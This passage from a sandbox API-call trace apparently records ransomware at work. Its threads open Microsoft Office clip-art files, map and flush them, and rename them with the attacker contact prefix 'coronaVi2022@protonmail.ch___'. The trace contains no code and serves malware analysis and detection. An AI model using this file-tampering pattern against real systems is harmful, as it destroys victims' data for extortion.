	[0092.643] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00057_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00057_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00057_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00057_.gif")) returned 1
	[0092.644] free (_Block=0x51f0070) 
	[0092.644] RtlExitUserThread (Status=0x0) 

Thread:
	id = 399
	os_tid = 0x16c4

	[0092.645] _alloca_probe () returned 0x40328a
	[0092.646] GetCurrentThreadId () returned 0x16c4
	[0092.646] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00090_.gif", dwFileAttributes=0x80) returned 1
	[0092.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00090_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00090_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x758
	[0092.646] GetFileSizeEx (in: hFile=0x758, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=521) returned 1
	[0092.646] CreateFileMappingA (hFile=0x758, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x211, lpName=0x0) returned 0x890
	[0092.646] MapViewOfFile (hFileMappingObject=0x890, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0092.647] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0092.647] CloseHandle (hObject=0x890) returned 1
	[0092.647] GetCurrentThreadId () returned 0x16c4
	[0092.647] FlushFileBuffers (hFile=0x758) returned 1
	[0092.649] CloseHandle (hObject=0x758) returned 1
	[0092.649] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00090_.gif") returned 126
	[0092.649] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00090_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00090_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00090_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00090_.gif")) returned 1
	[0092.650] free (_Block=0x51f0070) 
	[0092.650] RtlExitUserThread (Status=0x0) 

Thread:
	id = 400
	os_tid = 0x16c8

	[0092.670] _alloca_probe () returned 0x40328a
	[0092.671] GetCurrentThreadId () returned 0x16c8
	[0092.671] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00092_.gif", dwFileAttributes=0x80) returned 1
	[0092.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00092_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00092_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x890
	[0092.672] GetFileSizeEx (in: hFile=0x890, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=507) returned 1
	[0092.672] CreateFileMappingA (hFile=0x890, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x205, lpName=0x0) returned 0x778
	[0092.672] MapViewOfFile (hFileMappingObject=0x778, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0092.672] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0092.672] CloseHandle (hObject=0x778) returned 1
	[0092.672] GetCurrentThreadId () returned 0x16c8
	[0092.672] FlushFileBuffers (hFile=0x890) returned 1
	[0092.674] CloseHandle (hObject=0x890) returned 1
	[0092.674] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00092_.gif") returned 126
	[0092.674] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00092_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00092_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00092_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00092_.gif")) returned 1
	[0092.676] free (_Block=0x51f3088) 
	[0092.676] RtlExitUserThread (Status=0x0) 

Thread:
	id = 401
	os_tid = 0x16cc

	[0092.678] _alloca_probe () returned 0x40328a
	[0092.678] GetCurrentThreadId () returned 0x16cc
	[0092.678] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00103_.gif", dwFileAttributes=0x80) returned 1
	[0092.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00103_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00103_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x778
	[0092.682] GetFileSizeEx (in: hFile=0x778, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=12715) returned 1
	[0092.682] CreateFileMappingA (hFile=0x778, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x31b5, lpName=0x0) returned 0x848
	[0092.682] MapViewOfFile (hFileMappingObject=0x848, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0092.685] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0092.685] CloseHandle (hObject=0x848) returned 1
	[0092.685] GetCurrentThreadId () returned 0x16cc
	[0092.685] FlushFileBuffers (hFile=0x778) returned 1
	[0092.688] CloseHandle (hObject=0x778) returned 1
	[0092.688] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00103_.gif") returned 126
	[0092.688] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00103_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00103_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00103_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00103_.gif")) returned 1
	[0092.689] free (_Block=0x51f1078) 
	[0092.689] RtlExitUserThread (Status=0x0) 

Thread:
	id = 402
	os_tid = 0x16d0

	[0092.727] _alloca_probe () returned 0x40328a
	[0092.728] GetCurrentThreadId () returned 0x16d0
	[0092.728] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00120_.gif", dwFileAttributes=0x80) returned 1
	[0092.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00120_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00120_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x848
	[0092.728] GetFileSizeEx (in: hFile=0x848, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=3495) returned 1
	[0092.728] CreateFileMappingA (hFile=0x848, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdad, lpName=0x0) returned 0x880
	[0092.728] MapViewOfFile (hFileMappingObject=0x880, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0092.731] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0092.731] CloseHandle (hObject=0x880) returned 1
	[0092.731] GetCurrentThreadId () returned 0x16d0
	[0092.731] FlushFileBuffers (hFile=0x848) returned 1
	[0092.733] CloseHandle (hObject=0x848) returned 1
	[0092.733] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00120_.gif") returned 126
	[0092.733] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00120_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00120_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00120_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00120_.gif")) returned 1
	[0092.734] free (_Block=0x51f5098) 
	[0092.734] RtlExitUserThread (Status=0x0) 

Thread:
	id = 403
	os_tid = 0x16d4

	[0092.740] _alloca_probe () returned 0x40328a
	[0092.740] GetCurrentThreadId () returned 0x16d4
	[0092.740] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00126_.gif", dwFileAttributes=0x80) returned 1
	[0092.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00126_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00126_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x880
	[0092.741] GetFileSizeEx (in: hFile=0x880, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=3143) returned 1
	[0092.741] CreateFileMappingA (hFile=0x880, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc4d, lpName=0x0) returned 0x960
	[0092.741] MapViewOfFile (hFileMappingObject=0x960, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0092.742] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0092.742] CloseHandle (hObject=0x960) returned 1
	[0092.742] GetCurrentThreadId () returned 0x16d4
	[0092.742] FlushFileBuffers (hFile=0x880) returned 1
	[0092.744] CloseHandle (hObject=0x880) returned 1
	[0092.744] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00126_.gif") returned 126
	[0092.745] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00126_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00126_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00126_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00126_.gif")) returned 1
	[0092.745] free (_Block=0x51f0070) 
	[0092.745] RtlExitUserThread (Status=0x0) 

Thread:
	id = 404
	os_tid = 0x16d8

	[0092.747] _alloca_probe () returned 0x40328a
	[0092.748] GetCurrentThreadId () returned 0x16d8
	[0092.748] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00129_.gif", dwFileAttributes=0x80) returned 1
	[0092.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00129_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00129_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x960
	[0092.748] GetFileSizeEx (in: hFile=0x960, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=12483) returned 1
	[0092.748] CreateFileMappingA (hFile=0x960, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x30c5, lpName=0x0) returned 0x7d8
	[0092.748] MapViewOfFile (hFileMappingObject=0x7d8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0092.751] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0092.751] CloseHandle (hObject=0x7d8) returned 1
	[0092.751] GetCurrentThreadId () returned 0x16d8
	[0092.751] FlushFileBuffers (hFile=0x960) returned 1
	[0092.753] CloseHandle (hObject=0x960) returned 1
	[0092.753] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00129_.gif") returned 126
	[0092.753] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00129_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00129_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00129_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00129_.gif")) returned 1
	[0092.754] free (_Block=0x51f3088) 
	[0092.754] RtlExitUserThread (Status=0x0) 

Thread:
	id = 405
	os_tid = 0x16dc

	[0092.755] _alloca_probe () returned 0x40328a
	[0092.756] GetCurrentThreadId () returned 0x16dc
	[0092.756] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00130_.gif", dwFileAttributes=0x80) returned 1
	[0092.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00130_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00130_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7d8
	[0092.756] GetFileSizeEx (in: hFile=0x7d8, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=5257) returned 1
	[0092.756] CreateFileMappingA (hFile=0x7d8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1491, lpName=0x0) returned 0x8f8
	[0092.756] MapViewOfFile (hFileMappingObject=0x8f8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0092.758] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0092.758] CloseHandle (hObject=0x8f8) returned 1
	[0092.758] GetCurrentThreadId () returned 0x16dc
	[0092.758] FlushFileBuffers (hFile=0x7d8) returned 1
	[0092.760] CloseHandle (hObject=0x7d8) returned 1
	[0092.760] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00130_.gif") returned 126
	[0092.760] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00130_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00130_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00130_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00130_.gif")) returned 1
	[0092.761] free (_Block=0x51f60a0) 
	[0092.761] RtlExitUserThread (Status=0x0) 

Thread:
	id = 406
	os_tid = 0x16e0

	[0092.763] _alloca_probe () returned 0x40328a
	[0092.763] GetCurrentThreadId () returned 0x16e0
	[0092.763] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00135_.gif", dwFileAttributes=0x80) returned 1
	[0092.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00135_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00135_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f8
	[0092.764] GetFileSizeEx (in: hFile=0x8f8, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=2599) returned 1
	[0092.764] CreateFileMappingA (hFile=0x8f8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa2d, lpName=0x0) returned 0x91c
	[0092.764] MapViewOfFile (hFileMappingObject=0x91c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0092.765] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0092.765] CloseHandle (hObject=0x91c) returned 1
	[0092.765] GetCurrentThreadId () returned 0x16e0
	[0092.765] FlushFileBuffers (hFile=0x8f8) returned 1
	[0092.766] CloseHandle (hObject=0x8f8) returned 1
	[0092.767] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00135_.gif") returned 126
	[0092.767] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00135_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00135_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00135_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00135_.gif")) returned 1
	[0092.768] free (_Block=0x51f0070) 
	[0092.768] RtlExitUserThread (Status=0x0) 

Thread:
	id = 407
	os_tid = 0x16e4

	[0092.769] _alloca_probe () returned 0x40328a
	[0092.770] GetCurrentThreadId () returned 0x16e4
	[0092.770] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00139_.gif", dwFileAttributes=0x80) returned 1
	[0092.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00139_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00139_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x91c
	[0092.770] GetFileSizeEx (in: hFile=0x91c, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=10621) returned 1
	[0092.770] CreateFileMappingA (hFile=0x91c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2989, lpName=0x0) returned 0x958
	[0092.771] MapViewOfFile (hFileMappingObject=0x958, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0092.773] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0092.773] CloseHandle (hObject=0x958) returned 1
	[0092.773] GetCurrentThreadId () returned 0x16e4
	[0092.773] FlushFileBuffers (hFile=0x91c) returned 1
	[0092.777] CloseHandle (hObject=0x91c) returned 1
	[0092.777] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00139_.gif") returned 126
	[0092.777] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00139_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00139_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00139_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00139_.gif")) returned 1
	[0092.778] free (_Block=0x51f0070) 
	[0092.778] RtlExitUserThread (Status=0x0) 

Thread:
	id = 408
	os_tid = 0x16e8

	[0092.779] _alloca_probe () returned 0x40328a
	[0092.780] GetCurrentThreadId () returned 0x16e8
	[0092.780] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00142_.gif", dwFileAttributes=0x80) returned 1
	[0092.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00142_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00142_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x958
	[0092.780] GetFileSizeEx (in: hFile=0x958, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=15319) returned 1
	[0092.780] CreateFileMappingA (hFile=0x958, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3bdd, lpName=0x0) returned 0x8c8
	[0092.780] MapViewOfFile (hFileMappingObject=0x8c8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0092.784] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0092.784] CloseHandle (hObject=0x8c8) returned 1
	[0092.784] GetCurrentThreadId () returned 0x16e8
	[0092.784] FlushFileBuffers (hFile=0x958) returned 1
	[0092.786] CloseHandle (hObject=0x958) returned 1
	[0092.786] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00142_.gif") returned 126
	[0092.786] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00142_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00142_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00142_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00142_.gif")) returned 1
	[0092.787] free (_Block=0x51f4090) 
	[0092.787] RtlExitUserThread (Status=0x0) 

Thread:
	id = 409
	os_tid = 0x16ec

	[0092.791] _alloca_probe () returned 0x40328a
	[0092.791] GetCurrentThreadId () returned 0x16ec
	[0092.791] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00154_.gif", dwFileAttributes=0x80) returned 1
	[0092.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00154_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00154_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8c8
	[0092.792] GetFileSizeEx (in: hFile=0x8c8, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=5317) returned 1
	[0092.792] CreateFileMappingA (hFile=0x8c8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x14c9, lpName=0x0) returned 0x8c0
	[0092.792] MapViewOfFile (hFileMappingObject=0x8c0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0092.793] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0092.794] CloseHandle (hObject=0x8c0) returned 1
	[0092.794] GetCurrentThreadId () returned 0x16ec
	[0092.794] FlushFileBuffers (hFile=0x8c8) returned 1
	[0092.796] CloseHandle (hObject=0x8c8) returned 1
	[0092.796] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00154_.gif") returned 126
	[0092.796] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00154_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00154_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00154_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00154_.gif")) returned 1
	[0092.796] free (_Block=0x51f1078) 
	[0092.796] RtlExitUserThread (Status=0x0) 

Thread:
	id = 410
	os_tid = 0x16f0

